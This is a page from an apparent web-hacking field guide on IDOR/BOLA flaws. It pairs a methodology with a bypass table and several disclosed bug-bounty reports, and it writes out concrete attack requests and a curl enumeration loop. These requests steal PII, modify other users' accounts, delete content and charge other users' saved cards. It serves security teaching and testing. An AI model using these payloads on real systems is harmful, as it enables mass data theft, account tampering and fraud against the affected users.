⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/IDOR / BOLA
Vulnerabilities

IDOR / BOLA

§Basic information

IDOR (Insecure Direct Object Reference) is accessing another user's or another tenant's object by changing the identifier that points to it. The server authenticates who you are but never checks whether this object is yours — so one predictable id plus one missing ownership check equals read, modify, or delete of arbitrary users' data. On APIs the same flaw is called BOLA (Broken Object-Level Authorization) and it is the #1 API risk.

The whole game is the identifier. Every request that carries an object handle — /users/<id>, ?order=, report_id, a UUID in a GraphQL variable, a filename, an S3 key, an invite token, the Location of a just-created resource — is a candidate. The two independent axes are predictability (can you guess or harvest the id?) and authorization (does the server check the object belongs to you?). A bug needs only the authorization axis to fail; predictability just decides whether you hit one victim or enumerate the whole database. Treat IDOR as an enumeration + takeover primitive, not a one-record leak.

§Methodology

  1. Map every id-shaped value. For each request, note ids in the path, query, body, JSON fields, headers, cookies, and GraphQL variables — numeric, UUID, base64, filename, or opaque token.
  2. Run the A/B test. Do the action as account A, capture the request, then replay it with B's session against A's id. A 200 with A's data is IDOR.
  3. Establish the id space. Sequential integers → enumerate directly. GUID/UUID → "unpredictable" is not "authorized"; harvest ids from list endpoints, referrals, exports, or public pages, then replay.
  4. Cover every method and surface. A GET may be locked while PUT/PATCH/DELETE/POST are not. The web UI may enforce authz the raw API, mobile endpoint, support-chat backend, or old API version does not.
  5. Confirm with two accounts, never one. Prove the attacker (B) reads or mutates the victim (A). Quantify: any user? any tenant? sequential → full dump?
  6. Chain the read. A list/details endpoint that leaks ids feeds a second, richer endpoint (attachment bytes, credentials, tokens). Follow the id.
# A/B test: capture as A, replay the exact request with B's cookie against A's id GET /api/orders/1001 HTTP/1.1 Host: TARGET Cookie: session=<B_SESSION> # 1001 belongs to victim A # 200 + A's order body => IDOR. 403/404 => boundary enforced (probe the side-channel)

§Identifier & context variants

Find which kind of identifier you hold, then attack it with the matching technique.

Sequential / numeric ids

The easy case: integers you can walk. Change the id by ±1 to confirm, then loop the whole range for a mass dump. Especially rich on export/email/download endpoints keyed by numeric id.

# Enumerate every object once one id proves unauthorized for id in $(seq 1 50000); do curl -s -b "session=$SESS" "https://TARGET/api/invoice/$id" -o "inv_$id.json" done

GUIDs / UUIDs & opaque tokens

A UUID is not an access control — it is only a speed bump. The id is unguessable, so harvest it instead of guessing: list endpoints, referral/share links, exports, embedded iframe URLs, and excessive-data-exposure responses routinely leak other objects' UUIDs. Then replay the mutation with the harvested id.

# 1) Leak foreign ids from a list/search endpoint (excessive data exposure) POST /graphql HTTP/1.1 Host: TARGET Content-Type: application/json {"query":"query{memberships{id role user{email}}}"} # 2) Replay the privileged action against a leaked UUID PUT /api/memberships/<HARVESTED_UUID> HTTP/1.1 Content-Type: application/json {"membership":{"role":"admin"}}

Multi-tenant / cross-tenant ids

org_id, workspace_id, tenant, store_id. The endpoint often authorizes the action ("are you an admin?") against your current tenant but never checks the target object belongs to that tenant. Swap in another tenant's id — one bug then exposes every customer.

# Client-supplied tenant id sets the privilege boundary — swap it POST /api/invitations HTTP/1.1 Host: TARGET Content-Type: application/json {"invitation":{"email":"attacker@COLLAB","role":"admin","organization":"<VICTIM_ORG_UUID>"}}
● NOTE
Watch the token scope vs object scope mismatch. Some multi-tenant apps mint an admin-scoped token from your own org, then let you act on a foreign object id with it — you must not switch tenant context or the token loses its privilege. Leak the foreign id, then fire while still holding the privileged token from your own tenant (#809816).

Nested / scope-confusion ids

/orgs/<mine>/users/<theirs>, /projects/<mine>/issues/<theirs>. The outer id is validated against you; the inner sub-resource is looked up globally instead of under the authorized parent. Keep the outer id yours, point the inner id at the victim.

GET /api/orgs/<MY_ORG>/reports/<VICTIM_REPORT_ID> HTTP/1.1 # outer org checked; inner report fetched by global id -> victim's data

Encoded / GraphQL global ids

Ids are often base64 or a typed global id (gid://app/Report/123, or UmVwb3J0OjEyMw==). Decode, mutate, re-encode. GraphQL mutations are prime BOLA sinks because state-changing operations skip the checks reads have — and hidden/unreleased mutations mined from JS still resolve.

# base64 GraphQL global-id: decode -> change the numeric id -> re-encode echo -n 'Report:123' | base64 # UmVwb3J0OjEyMw== (your own object) echo -n 'Report:124' | base64 # UmVwb3J0OjEyNA== (walk the id, feed it back as node() arg)
POST /graphql HTTP/1.1 Content-Type: application/json {"query":"mutation{deleteContent(id:\"<VICTIM_GLOBAL_ID>\"){ok}}"}

Write-then-read (attach-then-reflect) chains

The single-object GET may be locked, but a configure/import/attach endpoint that takes an object id often is not. Point it at a victim's id, then read whichever GET endpoint reflects the now-attached object — this leaks far more than the write implied (raw DB credentials, connection secrets, files).

# 1) Attach a victim-owned object to your own container (no ownership check on the write) POST /cube_models.json {"datasource_id":"<VICTIM_ID>", ...} # 2) Read the endpoint that reflects the attached object GET /datasources.json # response: {"login":"bot","pwd":"<VICTIM_DB_PASSWORD>", ...}

§Bypasses

Filter / controlBypassSeen in
Sequential id "protected" by a GUIDharvest the GUID from list / GraphQL / invite / export endpoints — unguessable ≠ authorized#809816, #835005
Ownership checked on GET onlytry PUT/PATCH/DELETE/POST — write-side handlers skip the read-side authz#1819832, #490782
Check on the outer id onlyattack the nested/inner id looked up globally (/org/<mine>/x/<theirs>)#134292
Authz enforced only in the web UIcall the raw API / support-chat / mobile / old API version directly#968165, #909863
Second-factor "verification" (email/zip/last-4)partial match — only the domain suffix must match, collapsing to id enumeration#968165
Token valid for context Areused for context B; the room/tenant/owner binding is never re-checked#3687142, #2294930
Symmetric flows, asymmetric authzattack the unchecked side — import resolves ids globally while export enforces tenant#3543475
Single direct-object GET is lockedwrite-then-read: attach the victim id, then read the reflecting endpoint#149907, #763994
base64 / typed global id looks opaquedecode, increment the inner numeric id, re-encode, replay#1969141
Object "deleted"/orphaned (NULL owner)any endpoint that claims by id re-parents the orphan to you#1034346
▸ TIP
Diff your-own vs another user's response field-by-field. Username/id-keyed profile APIs routinely return more than the UI shows — is_email_confirmed, MFA flags, privacy booleans, internal ids — usable for targeting and password-reset abuse (#3114132). The interesting fields are the ones the UI never renders.
▲ WARNING
A 403/404/200 side-channel still leaks object existence and ownership boundaries even when the body is hidden. Compare status codes and timing across ids to map the boundary before you have a full read — a 404 for "not mine" vs 403 for "exists but forbidden" is itself the oracle.

§Escalation & impact

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 248 in this class.

Real-world example

Alternate-endpoint IDOR: same object, one endpoint checks, another doesn't

◆ Critical
Specimen #2442008 · security · awarded · 336 votes · resolved
Program securitySurface webTag file-upload

Root cause

Attachment access was validated on the report-submit/edit path but NOT on the report-summary edit path, which accepts attachment_ids and renders the referenced files in the markdown preview.

Method

  1. Note attachment ids are numeric and sequential
  2. Confirm the submit/edit-report endpoint rejects foreign attachment ids (was_successful:false)
  3. Instead PUT to /reports/<id>/summaries/<sid> with attachment_ids set to the victim's file id
  4. Victim's file renders in the summary markdown preview
PUT /reports/REPORT_ID/summaries/SUMMARY_ID HTTP/2 Host: hackerone.com Content-Type: application/json {"id":SUMMARY_ID,"category":"researcher","content":"x {F<VICTIM_FILE_ID>}","action_type":"publish","attachments":[],"attachment_ids":[VICTIM_FILE_ID]}

Insight — When one endpoint enforces ownership on an object, hunt for a SECOND feature that touches the same object type - the check is often missing there. Sequential numeric attachment ids make mass harvesting trivial.

Real-world example

Search/list endpoint IDOR via attacker-controlled organization_id

◆ Critical
Specimen #2487889 · security · awarded · 257 votes · resolved
Program securitySurface web

Root cause

The /bugs.json search endpoint filters by a client-supplied organization_id without checking the caller's membership, returning private report metadata for any org.

Method

  1. Log in as any user
  2. POST /bugs.json with organization_id set to a target org id (published on policy pages) and text_query a single digit to match broadly
  3. Enumerate substates to widen results
  4. Response leaks title, url, id, state, severity, submit details, reporter name of private reports
POST /bugs.json HTTP/2 Host: hackerone.com Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest text_query=1&organization_id=58579&persist=true&sort_type=pg_search_rank&view=message&substates%5B%5D=new&substates%5B%5D=triaged&substates%5B%5D=resolved

Insight — Search/list/report endpoints that take an org/tenant id as a body parameter are classic IDOR sinks. A single-char text_query is a fast way to dump everything.

Real-world example

Mass-assignment IDOR via project import: reassign foreign-key relations

◆ Critical
Specimen #743953 · gitlab · 20000 · 250 votes · resolved
Program gitlabSurface web

Root cause

project_tree_restorer.rb calls assign_attributes with import-controlled data; foreign-key collection attributes like issue_ids/merge_request_ids are not excluded, so an importer can attach existing DB objects (owned by others) to their new project by id.

Method

  1. Export a GitLab project to get the tarball format
  2. Edit project.json: set issue_ids=[<victim_issue_db_id>] and leave issues=[]
  3. Import the crafted tarball
  4. The imported project now shows the victim's private issue; brute-force the incremental id space to steal many
// project.json "issue_ids": [ 27422144 ], "issues": [], // affected keys: board_ids, issue_ids, merge_request_ids, note_ids, ...

Insight — Import/restore and bulk-update features are prime mass-assignment IDOR sinks: any *_ids / foreign-key attribute that isn't explicitly allowlisted lets you graft other tenants' objects by incremental id. Denylisting is fragile - the fix for '_ids' was bypassed by nesting them under an 'attributes' key (#767770).

Real-world example

Payment IDOR: reference another user's saved-card id at checkout

◆ Critical
Specimen #391092 · yelp · awarded · 213 votes · resolved
Program yelpSurface web

Root cause

The /checkout/transaction_platform endpoint accepts a credit_card_id without verifying it belongs to the buyer, letting an attacker charge orders to any saved card id.

Method

  1. Start a Grubhub order via Yelp
  2. At /checkout/transaction_platform, substitute another user's credit_card_id
  3. Order is paid using the victim's stored card
POST /checkout/transaction_platform ... credit_card_id=<OTHER_USERS_CARD_ID>

Insight — Saved-payment-method ids (credit_card_id, payment_source, token id) are IDOR sinks - referencing another user's stored instrument can let you spend on their behalf without ever seeing card data. Limited disclosure; mechanism per program summary.

Real-world example

Salesforce Aura cloneAttachment IDOR -> re-parent & download any file

◆ Critical
Specimen #2950536 · deptofdefense · none · 139 votes · resolved
Program deptofdefenseSurface webTag cloud

Root cause

A custom Apex controller (cloneAttachment) exposed via the Aura endpoint has no record-level authorization; an attacker clones any Attachment by Id and links it to a record they own, then downloads it via servlet.FileDownload.

Method

  1. Register on the Salesforce Experience/Community portal and grab an aura.token from any /sfsites/aura request
  2. Enumerate Attachment Ids (Salesforce Ids are highly predictable - see blog.hypn.za.net Salesforce-backed webapps)
  3. Use getItems on Contact to find your own Contact Id
  4. Call apex://ExAM.FileUploadController/ACTION$cloneAttachment with params {attachmentId:<victim>,parentId:<your Contact>}
  5. List Attachment records to get the newly-cloned file Id
  6. Download via /servlet/servlet.FileDownload?file=<new Id>
message={"actions":[{"id":"20;a","descriptor":"apex://ExAM.FileUploadController/ACTION$cloneAttachment","callingDescriptor":"markup://ExAM:AssessmentViewer","params":{"attachmentId":"00PRw000000MaT3MAK","parentId":"003Rw000002SJcsIAG"},"version":null}]}&aura.context=...&aura.token=...

Insight — On any Salesforce Community/Experience site, enumerate custom Apex controllers via the aura endpoint and test object CRUD (getItems/selectableListDataProvider) plus record-cloning actions; Salesforce record Ids are enumerable and custom controllers routinely lack sharing checks.

Real-world example

IDOR by email: user-identifier in body returns arbitrary user's PII

◆ Critical
Specimen #1773609 · mtn_group · none · 131 votes · resolved
Program mtn_groupSurface api

Root cause

POST /app/getUserNotes resolves the account from a userEmail supplied in the request body with no check that it matches the session, returning the target's phone number and account info.

Method

  1. Authenticate and capture the getUserNotes request
  2. Replace userEmail in the nested body with the victim's email
  3. Response returns the victim's PII
POST /app/getUserNotes HTTP/1.1 Host: mtnmobad.mtnbusiness.com.ng Content-Type: application/json Cookie: connect.sid=<attacker> {"params":{"updates":[{"param":"user","value":{"userEmail":"VICTIM_EMAIL"},"op":"a"}],"cloneFrom":{...}}}

Insight — Email (or username/phone) as the object reference is as exploitable as a numeric id and needs no enumeration - you already know the victim's email. Check any lookup that takes an identifier in the body.

Real-world example

IDOR on profile-update via user id in JSON body

◆ Critical
Specimen #1714638 · mtn_group · none · 96 votes · resolved
Program mtn_groupSurface webTag account-takeover

Root cause

The /app/updateUser endpoint updates the profile identified by the id/email in the request body without verifying it belongs to the authenticated session, letting any user edit any other user's profile fields.

Method

  1. Log in as attacker, open profile, capture POST /app/updateUser
  2. Note the JSON id and email fields for your own account
  3. Repeat as victim to learn the victim's id/email
  4. As attacker, replace id/email in the request with the victim's and forward
  5. Victim profile (username, address, phone, company) is overwritten
POST /app/updateUser HTTP/1.1\nContent-Type: application/json\n\n{"id":"<VICTIM_ID>","email":"victim@...","username":"attacker-controlled","mobileNumber":"..."}

Insight — Any write endpoint that carries the target record's id/email in the body is an IDOR candidate: the server must bind the mutation to the session identity, not to a client-supplied id. Two-account A/B swap confirms it instantly.

Real-world example

Salesforce Community Aura getItems/getRecord PII enumeration

◆ Critical
Specimen #2294930 · deptofdefense · none · 89 votes · resolved
Program deptofdefenseSurface webChain register user -> aura.token -> getItems on Contact/AccTag cloud

Root cause

A Salesforce Experience/Community site exposed the Aura runtime controllers (getItems/getRecord) to any registered user with object permissions misconfigured, allowing bulk read of Contact/Account/AccountContactRelation records (names, emails, phones); Salesforce record Ids are sequential and enumerable.

Method

  1. Register a normal user on the Salesforce community portal and capture the aura.token
  2. POST to the Aura endpoint with the ApexActionController/RecordUiController getItems action
  3. Set entityNameOrId to Contact, pageSize 2000 to dump records
  4. Swap entityNameOrId to Account, AccountContactRelation, User to pull other objects; enumerate sequential Ids via getRecord
POST /s/sfsites/aura?...getComponentAttributes=1 HTTP/1.1 message={"actions":[{"id":"123;a","descriptor":"aura://ApexActionController/ACTION$getItems","params":{"entityNameOrId":"Contact","layoutType":"FULL","pageSize":2000,"currentPage":0,"getCount":false}}]}&aura.context=...&aura.token=<TOKEN>

Insight — On any Salesforce Lightning/Community site, always test the Aura controllers (getItems, getRecord, getRecords, getListUi) against Contact/Account/User with a low-priv account - misconfigured object/field permissions are extremely common and leak bulk PII; SF Ids are sequential so partial access enumerates everything.

Real-world example

Enumerable record ID in URL path exposes other users' PII at scale

◆ Critical
Specimen #1556950 · deptofdefense · none · 69 votes · resolved
Program deptofdefenseSurface web

Root cause

An authenticated self-service portal builds data-section URLs from a record ID that is not tied to the logged-in user or authorized server-side, so incrementing the ID returns other people's records (SSN-4, home of record, MOS, schools).

Method

  1. Authenticate and open 'My Data' to capture the dynamicdata section GET
  2. Note the record ID embedded in the path
  3. Send to Intruder and iterate the ID over a numeric range
  4. Grep responses for a field (e.g. 'Primary MOS') to flag successful cross-user records; repeat per section/tab ID
GET /SelfService/Home/dynamicdata/section/<unit>/<unit>%20TPU/61/124948002 # iterate the trailing record id; also vary the section id (61/444/2001) per tab

Insight — Self-service 'view my record' portals are prime IDOR: the object id in the path is often the only authorization. Enumerate it with Intruder and a grep-match on a PII marker. Multiple section IDs multiply the exposed data types.

Real-world example

Hijack/overwrite others' objects by swapping parent issue ID in create request

◆ Critical
Specimen #1096560 · x · none · 66 votes · resolved
Program xSurface web

Root cause

A JSON create endpoint accepts an issue/parent ID in the body and does not verify the caller owns that parent, so an attacker attaches arbitrary media/title/description to another user's issue.

Method

  1. Create your own issue, add media, and intercept the create request
  2. Change the issue field to a victim's issue ID
  3. Forward; the attacker-controlled content is written to the victim's issue
POST /app/items HTTP/1.1 Content-Type: application/json X-CSRF-Token: <yours> {"item_type":"image","issue":<VICTIM_ISSUE_ID>,"title":"Your account has been hacked","description":"...","image":"https://.../attacker.png"}

Insight — Create/append endpoints that carry a parent-object ID in the body are prime write-IDOR targets; a valid CSRF token from your own session is often all that's needed. Test by swapping the parent ID to a second account's object.

Real-world example

Sequential-ID IDOR in PDF-generation endpoint exposes PII records

◆ Critical
Specimen #1541740 · deptofdefense · none · 47 votes · resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

A document-generation endpoint keys off a predictable, incrementable numeric identifier (SRBHeaderID) with no per-record authorization, letting an authenticated user pull any other user's record (SSN, DOB, clearance, DoD ID).

Method

  1. Authenticate and open your own record; watch the network request in devtools
  2. Note the numeric identifier in the URL (e.g. SRBHeaderID=000000)
  3. Increment/decrement the ID and additional flags (isBoard, OT)
  4. Retrieve other users' generated documents
GET /SelfService/esrbss/PDF/Index?SRBHeaderID=000001&isBoard=false&OT=0 GET /SelfService/esrbss/PDF/Index?SRBHeaderID=000001&isBoard=true&OT=5 # SRBHeaderID iterable 000001 .. ~4500000

Insight — Watch generated-document/report endpoints in devtools for a raw numeric ID; toggle secondary flags (isBoard/OT/type) to reach different document classes. Fix is backend authz + tokenized one-time URLs.

Real-world example

Livechat auth-context confusion + predictable Mongo IDs -> unauth file read

◆ Critical
Specimen #3687142 · rocket_chat · none · 44 votes · resolved
Program rocket_chatSurface apiChain livechat auth-context confusion + predictable ObjectId ->

Root cause

Protected file downloads at /file-upload/:fileId/:name authorized livechat access via rc_room_type=l with rc_rid+rc_token but never verified that rc_rid matched the requested file's rid; combined with sequential/predictable MongoDB ObjectIds for :fileId (and :name being arbitrary), any uploaded file was readable unauthenticated.

Method

  1. Start/obtain a livechat session to get valid rc_token + rc_rid for some room
  2. Request /file-upload/<predicted fileId>/anything with rc_room_type=l and your rc_rid+rc_token
  3. Because rc_rid is not checked against the file's owning room, the file is returned
  4. Iterate predictable MongoDB ObjectIds to dump all uploaded files
GET /file-upload/<mongoObjectId>/anyname?rc_room_type=l&rc_rid=<your_livechat_rid>&rc_token=<your_livechat_token>

Insight — Two-part pattern: (1) a token valid for context A is accepted for context B because the binding (room/tenant/owner) is never re-checked against the requested object; (2) object identifiers are predictable (sequential Mongo ObjectIds). Together they yield full unauthenticated enumeration.

Real-world example

302 redirect still leaks the PDF body (incrementing record id)

◆ Critical
Specimen #1085782 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface web

Root cause

Access-control shows a 302 redirect for unauthorized record ids but the response body still contains the generated PDF; incrementing/decrementing the numeric id walks every user's medical (PHI) record.

Method

  1. Authenticate, open your own child's shot record: GET ...?id=<yourid>
  2. Send to Burp Repeater and change id by +/-1
  3. App returns HTTP 302 redirect back to the endpoint, but the 302 response body carries the other user's PDF
  4. Use Burp 'Copy to file' on the 302 to save the leaked PDF; iterate ids
GET /path/shotrecord?id=<victim_id> HTTP/1.1 Host: TARGET Cookie: <session> # Response: HTTP/1.1 302 Found (Location: /index) # ...but body still contains the target's PDF -> Burp 'Copy to file'

Insight — A 302/redirect is NOT proof of enforcement. Always inspect the redirect response BODY - many frameworks render the resource then redirect, leaking it. Turn off follow-redirects and read raw bytes.

Real-world example

team_id + user_id tamper to evict any member; ids brute-forceable

◆ Critical
Specimen #1448550 · mtn_group · none · 28 votes · resolved
Program mtn_groupSurface web

Root cause

The remove-member action does not verify the requester controls the given team_id or the target user_id, and the response echoes user/team names; both ids are only 4 digits, enabling scripted removal of every user (including owners/admins) from every team.

Method

  1. As team owner, remove a member and intercept the request
  2. Swap team_id and user_id to a team/user you do not control -> target is removed and their name+team leak in the response
  3. Intruder across the 4-digit team_id x user_id space to evict everyone
POST /teams/remove HTTP/1.1 Host: TARGET team_id=<VICTIM_TEAM>&user_id=<VICTIM_USER>

Insight — Membership/role management endpoints are prime IDOR: the action is authorized by 'you are an owner somewhere', not 'you own THIS team'. Small numeric id spaces make it a mass-destruction primitive, and error/response bodies double as an info-disclosure oracle.

Real-world example

Mass account modification via body-supplied id + leaked directory

◆ Critical
Specimen #1698006 · mtn_group · none · 28 votes · resolved
Program mtn_groupSurface webChain excessive data exposure (dashboardData) -> IDOR update -&Tag account-takeover

Root cause

The profile-update endpoint applies changes to whatever id/email is present in the request body without authorization checks, and a dashboard endpoint over-exposes every user's id and email, supplying the needed identifiers.

Method

  1. Intercept POST /app/dashboardData; response leaks all users' ids and emails
  2. Go to profile edit and intercept the update request
  3. Replace id and email with the victim's
  4. Forward; changes are saved on the victim's account
POST /app/dashboardData -> response leaks {id,email} for all users Then profile-update with victim's id+email in body -> saved to victim

Insight — Chain an over-exposing list/dashboard endpoint (leaks ids/emails) with an update endpoint that trusts a body-supplied identifier. Always diff what the update request keys off (session vs body id).

Real-world example

Add-recipient IDOR exposes all files + auth-requirement bypass by id swap

◆ Critical
Specimen #429000 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface webChain IDOR add-recipient -> receive package -> download; par

Root cause

The add-recipient action on a file-transfer package trusts a numeric package ID with no ownership check, so decrementing it adds the attacker as a recipient of anyone's package; separately the optional CAC-download requirement is enforced on one flow but bypassed by swapping the file id into the normal download flow.

Method

  1. Send a file to yourself, verify, log into the package status page
  2. Intercept 'add recipient' POST and change the ID param to any other package number
  3. Package is emailed to you and downloadable with the shown password; iterate ids for hundreds of thousands of files
  4. CAC bypass: start a normal (non-CAC) file download, then swap the id to a CAC-required file id -> file info shown and downloadable
POST /Status.aspx?ID=<victim_package_id> HTTP/1.1 Host: TARGET <add attacker email as recipient> # CAC bypass: POST /download?id=<CAC_required_file_id> (submitted via the normal, non-CAC flow)

Insight — Two lessons: (1) 'add me as a recipient/collaborator' is a read primitive - grant yourself access instead of reading directly. (2) A protection (CAC/MFA/step-up) tied to one flow is often absent on a sibling flow for the same object - re-request the object through the unprotected path.

Real-world example

Unauth comment enumeration via incremental cnvID

◆ Critical
Specimen #265284 · concretecms · none · 22 votes · resolved
Program concretecmsSurface web

Root cause

An AJAX conversation-view endpoint served comment threads keyed only by an incremental cnvID with no authentication or per-object access check, so any unauthenticated user could enumerate all comments including admin-only blogs.

Method

  1. Find the conversation AJAX endpoint /index.php/tools/required/conversations/view_ajax.
  2. POST incremental integer cnvID values with no session.
  3. Enumerate 1..N to dump comments from every conversation, including restricted ones.
POST /index.php/tools/required/conversations/view_ajax HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded cnvID=1234

Insight — AJAX/'tools' helper endpoints are frequently unauthenticated and skip the access checks the page UI enforces. Fuzz numeric object ids against them without a session first.

Real-world example

Incremental id in URL exposes any user's e-form (PII)

◆ Critical
Specimen #395246 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web

Root cause

An authenticated e-form retrieval endpoint keyed records by a sequential id in the URL with no per-user access check, returning the full form JSON (SSN, DoB, clearance data) of any user.

Method

  1. Capture an authenticated request that fetches your own submitted e-form.
  2. Increment/decrement the numeric id in the URL.
  3. Retrieve any other user's full form JSON.
GET /path/to/eform/<id> HTTP/1.1 Host: TARGET.mil Authorization: Bearer <your token>

Insight — A single compromised low-priv account on shared SSO becomes a full-corpus PII dump when record ids are sequential. Severity tracks the sensitivity behind the id, not the auth level.

Real-world example

Chat attachment IDOR downloads arbitrary server files/emails

◆ Critical
Specimen #345162 · ratelimited · none · 20 votes · resolved
Program ratelimitedSurface webChain IDOR file read -> ticket join links in leaked email ->Tag account-takeover

Root cause

Support-chat file download references attachments by an incrementing send_blob_id with no ownership check, exposing every uploaded file, email, and log on the support server.

Method

  1. Start a support chat and upload a file to obtain the download request
  2. Note the numeric send_blob_id parameter
  3. Fuzz send_blob_id with Burp Intruder and collect 200 responses
  4. Retrieve arbitrary users'/admins' files, emails, and server logs
GET /chat/send-attach/<sid>?__sid=<sid>&send_blob_id=485&_=1525115609706 HTTP/1.1 Host: support.ratelimited.me X-Requested-With: XMLHttpRequest Cookie: dpsid=<sid>; ...

Insight — Any numeric blob/attachment/file id in a download URL is an IDOR candidate; Intruder-sweep the id space and filter on 200s. Support/helpdesk backends often store cross-tenant mail and logs behind these ids.

Real-world example

Salesforce Community Aura record-level IDOR (mass PII)

◆ Critical
Specimen #2968391 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain open self-registration -> Aura API -> record-Id IDOR -

Root cause

A DoD Salesforce Experience/Community site allows open self-registration and the underlying object (Document/chat records) has broken record-level access, so an authenticated low-priv community user can retrieve other users' records via the Aura /s/sfsites/aura endpoint by iterating record Ids.

Method

  1. Self-register at the community portal (/s/login/SelfRegister) to get an authenticated session
  2. Capture any POST to /s/sfsites/aura and extract the aura.token/context
  3. Replay Aura getRecord/getItems actions for the exposed object (Document) iterating record Ids to dump records
  4. Enumerate Ids to harvest PII (names, contacts, medical/criminal chat logs)
POST /s/sfsites/aura?r=1&... HTTP/2 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 message={"actions":[{"descriptor":"aura://RecordUiController/ACTION$getRecordWithFields","params":{"recordId":"<15/18-char Id>", ...}}]}&aura.context=...&aura.token=<token>

Insight — On Salesforce Community/Experience Cloud sites, self-register then hit /s/sfsites/aura with getRecord/getItems/getRecordAvatars and iterate object Ids; guest/low-priv record-level sharing is a recurring critical IDOR (aura.token is reusable). Fingerprint Salesforce via /s/sfsites/ and aura endpoints.

Real-world example

Unauthenticated incremental-id API leaks all users

◆ Critical
Specimen #1175980 · gsa_vdp · none · 14 votes · resolved
Program gsa_vdpSurface api

Root cause

An API route under /api/public/ requires no authentication and takes a sequential customer id, returning each user's PII; the id is trivially brute-forceable across the full range.

Method

  1. Hit /tmssserver/api/public/customerregistration/<id>/userId/ unauthenticated
  2. Confirm it returns email/name/phone/secret-question for that id
  3. Iterate id 0..N (or use the /emailId/ variant) to dump all users
curl "https://TARGET/tmssserver/api/public/customerregistration/4750/userId/" curl "https://TARGET/tmssserver/api/public/customerregistration/EMAIL/emailId/"

Insight — Routes literally named /public/ are a magnet for missing authZ; combine with a sequential numeric id and you get a full-database enumeration. Always brute a small id window first to prove scale, and test alternate lookup keys (email) on the same endpoint.

Real-world example

Unauthenticated sequential id on success page leaks all records

◆ Critical
Specimen #1536936 · mtn_group · none · 13 votes · resolved
Program mtn_groupSurface web

Root cause

A post-submission success page renders a sensitive record selected by an unauthenticated, sequential message URL parameter, exposing every user's National Identity Number.

Method

  1. Visit /nin/success?message=1 with no authentication
  2. Increment/iterate the message parameter
  3. Read other users' submitted NIN records
GET /nin/success?message=1 GET /nin/success?message=3 GET /nin/success?message=5 (odd sequence increments)

Insight — Post-submission 'success/thank-you' pages routinely re-display the just-submitted record via a guessable id param with no auth. Iterate the id (note step patterns, here +2) to dump the whole table.

Real-world example

Unauthenticated document API by numeric id

◆ Critical
Specimen #388554 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface api

Root cause

A document-serving API returns files by numeric id with no authentication or ownership check, exposing tens of thousands of ITAR-restricted / FOUO vendor documents.

Method

  1. Request /api/document/{n} with any numeric id
  2. Observe the document downloads if it exists
  3. Iterate n across the low tens of thousands to dump the corpus
GET /api/document/1 GET /api/document/2 ... (integer enumeration, no auth)

Insight — /api/<resource>/<int> with no auth is the purest IDOR -- enumerate the integer to exfiltrate the entire document store. Always test API document/file endpoints unauthenticated.

Real-world example

GraphQL mutation object-id IDOR: delete any user's content

◆ High
Specimen #1819832 · snapchat · 15000 · 791 votes · resolved
Program snapchatSurface graphqlTag graphql

Root cause

A GraphQL delete mutation takes a client-supplied object id array and performs no ownership check, so any authenticated user can delete arbitrary users' objects by substituting the target id.

Method

  1. Log in at my.snapchat.com/myposts and click delete on your own Spotlight post
  2. Intercept the DeleteStorySnaps GraphQL request in Burp
  3. Replace the ids value with a victim's Spotlight snap id (harvestable from story.snapchat.com/spotlight/<id> share URLs)
  4. Forward the request; victim's video is deleted
{"operationName":"DeleteStorySnaps","variables":{"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"},"query":"mutation DeleteStorySnaps($ids: [String!]!, $storyType: StoryType!) {\n deleteStorySnaps(ids: $ids, storyType: $storyType)\n}\n"}

Insight — On any GraphQL mutation that acts on an id/ids argument, swap in another user's object id. Public share URLs often leak those ids. The same pattern deletes HackerOne certifications via CreateOrUpdateHackerCertification (#2122671).

§References & practice

  1. PortSwigger Web Security Academy — Access control labs (hands-on practice).
  2. All 248 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.